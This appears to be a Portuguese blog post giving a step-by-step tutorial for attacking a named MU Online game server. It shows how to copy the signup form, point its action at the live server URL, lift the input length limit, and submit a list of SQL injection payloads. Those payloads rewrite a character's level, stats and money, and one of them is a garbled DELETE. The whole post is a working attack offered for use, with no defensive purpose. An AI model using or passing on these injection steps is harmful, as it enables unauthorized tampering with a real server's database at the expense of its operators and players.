1- vc vai no site do server, vai na pagina de cadastro e clica com o botao direito lah!
2- vc coloca mostrar codigo fonte, vai aparecer os codigos em html.
3- vc aperta ctr+f e escreve form e aprte buscar!
4- vc encontrara algo assim.FORM action= account.php method=post name=applMember onsubmit="return chkForm(document.applMember);"
5- depois q vc axar vc minimisa e vai lah na pagina de cadastro novamente e naum escreve nada apenas pareta ok como vc fosse se cadastrar! aparecera uma pagina de erro.
6- nessa pagina de erro vc clica o botao direito e vai em propriedades e copia a url q vai aparecer.
7- + uq vc vai fazer com essa url? hehe vc volta ao codigo fonte e cola a url na parte de action.
8- vai ficar assim FORM action=http://xgamesmu.servegame.com/index.php?op=account/account.php method=post name=applMember onsubmit="return chkForm(document.applMember);"
9- agora vc aperta ctr+f novamente e escreve maxlength e aperta buscar.
10- quando vc axar vai esta assim INPUT class=input03
maxLength=10 name=Member_Id
11- vc muda esse 10 para 9999
12- prontu vc criou uma copia de uma pagina e a tormou de uma forma vuneravel pra q vc possa enviar os comando!
13- quando vc for salvar o arquivo vc salva ele como .html
14- prontu pagina criada + e agora?
' UPDATE Character Set cLevel = '349' WHERE (Name = 'Rush')--
' UPDATE Character Set Reset = 9 WHERE (Name = 'Rush')--
' UPDATE ' DELETE Character = 9 WHERE (Name = 'Rush')--
' UPDATE Character Set Dexterity = 5000 WHERE (Name = 'Rush')--
' UPDATE Character Set Energy = 25000 WHERE (Name = 'Rush')--
' UPDATE Character Set Strength = 5000 WHERE (Name = 'Rush')--
' UPDATE Character Set Vitalit= 5000 WHERE (Name = 'Rush')--
' UPDATE Character Set Vitality = 5000 WHERE (Name = 'Rush')--
' UPDATE Character Set Money = 1000000000000 WHERE (Name = 'rush')--









Nenhum comentário:
Postar um comentário